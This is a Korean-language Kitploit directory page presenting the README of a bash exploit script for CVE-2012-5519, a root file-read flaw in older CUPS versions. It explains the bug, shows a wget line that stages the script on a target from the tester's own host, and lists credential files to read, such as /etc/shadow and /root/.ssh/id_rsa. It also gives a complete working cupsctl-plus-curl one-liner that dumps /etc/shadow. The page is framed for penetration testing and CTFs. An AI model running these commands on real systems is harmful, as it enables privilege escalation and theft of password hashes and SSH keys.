Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2012-5519 — cups-root-file-read.sh | CVE-2012-5519 | Kitploit
도구/GitHubGitHub/p1ckzi/cve-2012-5519
Privilege EscalationVulnerability AnalysisExploitationInformation GatheringCTFPenetration Testing
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

저장소 보기
914년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cups-root-file-read.sh ⭐

bash로 구현된 metasploit 'cups_root_file_read.rb' 모듈로, 침투 테스트 및 CTF를 위해 설계되었습니다.
주로 짧은 bash 스크립팅 연습입니다. 리눅스 시스템에서 CVE-2012-5519를 익스플로잇하는 독립 실행형 프로그램입니다.
사용자에게 대화형 프롬프트를 제공하여 여러 제한된 파일을 빠르게 읽을 수 있습니다.

익스플로잇 - CVE-2012-5519 ❗

이 스크립트는 CUPS(common UNIX printing system) < 1.6.2의 취약점을 익스플로잇합니다.
CUPS는 lpadmin 그룹의 사용자가 cupsctl 명령을 사용하여 cupsd.conf 파일을 변경할 수 있도록 합니다.
이 명령은 사용자가 ErrorLog 경로를 지정할 수도 있습니다.
사용자가 '/admin/log/error_log 페이지'를 방문하면, SUID root로 실행 중인 cupsd 데몬이 ErrorLog 경로를 읽고 일반 텍스트로 출력합니다.
요약하면, ErrorLog 경로가 root 소유 파일을 가리키면 해당 파일을 읽을 수 있습니다.

전제 조건 ✔

스크립트는 사용자에게 프롬프트를 전달하기 전에 여러 검사를 수행합니다. 모든 전제 조건은 다음과 같습니다.

  • linux - 스크립트는 리눅스에서만 테스트되었으며 다른 운영 체제에서는 작동하지 않을 수 있습니다.
  • bash - cups-root-file-read.sh는 bash로 작성되었습니다.
  • curl - (스크립트 내에서 확인) 웹 페이지 요청에 사용됩니다. 시간 제한으로 인해 wget 또는 nc와 같은 대체 HTTP 파싱 명령이 현재 스크립트에 내장되어 있지 않습니다.
  • 취약 - (스크립트 내에서 확인) 취약점이 존재하는지, 현재 사용자가 이를 익스플로잇할 수 있는지 확인하기 위해 몇 가지 검사가 수행됩니다. 여기에는 'lpadmin' 그룹의 구성원인지, cupsctl 명령을 사용할 수 있는지 등이 포함됩니다.

사용법 ℹ

스크립트는 침투 테스트 및 CTF 이벤트 목적으로 사용될 것으로 가정됩니다. 대상 시스템에 스크립트를 배치합니다. 다양한 방법으로 수행할 수 있습니다. 대상 시스템에서 일반적인 방법 중 하나:

root@kitploit:~
wget http://[내 IP]:[내 포트]/cups-root-file-read.sh

cups-root-file-read.sh는 실행에 인수나 플래그가 필요하지 않지만 두 가지 선택적 인수가 있습니다:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: turns off features which may negatively affect
        screen readers.
        -h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow etc...

다음과 같이 실행:

root@kitploit:~
bash cups-root-file-read.sh

또는

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

또는 단일 파일만 읽으려면:

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

초기 기능 및 취약점 검사를 통과하면 사용자에게 프롬프트가 제공되어 기존 파일의 절대 경로를 입력할 수 있습니다. 각 파일의 내용이 터미널에 출력됩니다.

최적의 사용법:

스크립트를 사용하여 제한된 파일을 테스트하고 읽을 수 있지만, 사용자가 이미 보고 싶은 제한된 파일의 존재를 알고 있다면 더 유용합니다. 예:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... 등.

제한 사항 ⚠

스크립트와 익스플로잇에는 몇 가지 제한 사항이 있습니다. 그리고 제가 알기로 metasploit의 'cups_root_file_read.rb' 모듈도 동일한 제한 사항을 가지고 있습니다.

공백:

사용자가 제출하는 내용은 보고 싶은 기존 파일의 절대 경로여야 하며 파일이나 경로에 공백이 없어야 합니다. 이는 cupsctl 명령이 따옴표를 사용하더라도 공백 문자를 올바르게 처리하지 못하고 (예: ErrorLog='/path to/file.txt') 공백 문자에서 입력을 분리하여 각각을 별도의 지시문으로 만들고 부울 값 'true'를 할당하기 때문입니다.
이전 예제가 제출되면 cupsd.conf 파일에 다음과 같이 기록됩니다:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

이로 인해 오류가 발생하고 오류 로그에 기록되며, 이전에 파일을 성공적으로 읽기 위해 ErrorLog 경로에 지정된 경우 중요한 파일이 될 수 있습니다. 따라서 스크립트는 공백을 확인하고 필터링합니다.


404 상태 코드 반환:

사용자가 절대 경로와 파일처럼 보이는 것을 제출하도록 확인하지만, cupsctl 명령으로 서버에 전달되기 전에 모든 오류를 잡을 수 있는 것은 아닙니다:
루트 디렉토리 내에 존재하는 파일(예: '/file.txt')은 읽을 수 있지만 '/tmp' 및 '/root'와 같은 일반적인 유닉스 디렉토리도 (의도적이거나 사용자 오류로 인해) 제출될 수 있습니다. 이러한 시스템 디렉토리에 대한 처리는 없으며 서버에서 404 상태 코드가 반환됩니다. 사용자에게 이 사실이 알려집니다.
경로에 존재하지 않는 디렉토리(예: '/tmp/non-existent-directory/file.txt')도 서버에서 404 상태 코드를 반환합니다.


빈 파일:

존재하지 않는 파일(예: '/root/non-existent-file.txt')을 보려고 하면 새 오류 로그로 파일이 생성됩니다. 사용자에게 출력에서 이 사실이 알려지며, 이전에 없었던 경우 익스플로잇 스크립트에 의해 빈 파일이 생성되었을 수 있다고 안내됩니다. 이러한 빈 파일은 스크립트가 실행된 시간 즈음에 시스템 사용자가 어떤 목적으로든 생성했을 가능성이 항상 있으므로 정리되지 않습니다.

리눅스에는 파일이나 디렉토리가 존재하는지 테스트하는 명령이 있지만, 사용자 입력이 cupsctl 명령으로 전달되기 전에 이 기능이 스크립트에 구현되지 않았습니다. 그 이유는 테스트 명령이 현재 사용자에게 접근이 금지된 위치(예: '/root')에 파일이나 디렉토리가 존재하는 경우 작동하지 않기 때문입니다. 명백한 보안상의 이유입니다. 스크립트는 이러한 접근 금지 파일을 읽도록 설계되었으므로 이러한 기능은 무의미합니다.


cups 오류:

때로는 수동으로 또는 cups-root-file-read.sh를 통해 변경할 때 cupsctl 오류가 발생할 수 있습니다. cups-root-file-read.sh는 일반적이지 않은 사용자 입력과 일부 오류를 처리하지만 cupsd.conf 파일을 변경하거나 웹 페이지를 요청하는 동안 발생하는 cupsctl 오류는 처리되지 않습니다. cups-root-file-read.sh는 종료됩니다. 이러한 경우 스크립트를 다시 시작하고 다시 시도할 수 있습니다.


참고 사항 📝

이 스크립트는 주로 가독성과 접근성을 고려하여 단일 익스플로잇을 위한 짧고 포괄적인 독립 실행형 프로그램을 만드는 연습이었습니다.

스크립트는 CVE-2012-5519의 존재를 테스트한 다음 익스플로잇 중에 여러 제한된 파일을 빠르고 쉽게 읽기 위한 것입니다. 그 목적을 위해 metasploit 모듈이나 수동 명령을 입력하고 반복적으로 편집하는 것보다 훨씬 빠르다고 생각합니다(바라건대). 하지만 그렇다고 해도 사용자가 대상 시스템이 취약하다는 것을 알고 있다면 다음과 같은 방식으로 동일한 결과를 얻을 수 있습니다:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

2022년 기준으로 이 익스플로잇은 10년 된 것입니다. 대상 시스템도 오래된 경우 스크립트에서 사용되는 다양한 명령의 버전이 현재 기능을 갖추지 못했을 수 있습니다. 이는 bash 버전에도 적용될 수 있습니다. 불행히도 시간 제한으로 인해 더 다양한 환경에서 스크립트를 테스트하지 못했습니다. CTF에 더 유용할 수 있습니다.

원래 스크립트는 python3로 만들 예정이었으나, 권한이 없는 사용자로 시스템에 접근한 후 python2와 python3을 사용할 수 없는 경우를 여러 번 경험했습니다. bash는 리눅스 시스템에서 거의 항상 사용 가능하며 일반적인 리눅스 명령도 마찬가지이므로 bash 구현이 더 안전한 선택으로 보였습니다.

가능한 한 bash 내장 명령을 사용하지만 스크립트는 sort, head 및 curl (그리고 물론 익스플로잇의 일부로 사용되는 cupsctl) 같은 일부 외부 명령에 의존합니다. 현재 이러한 명령에 대한 확인이나 대안이 없습니다. 시간 제약 때문입니다. 이러한 명령을 사용할 수 없으면 스크립트가 실패합니다 :(

크레딧 👍

https://argbash.io - 초기 스크립트 인수 작성에 도움.
https://skerritt.blog/a11y/ - 접근성 구현.

도구 다운로드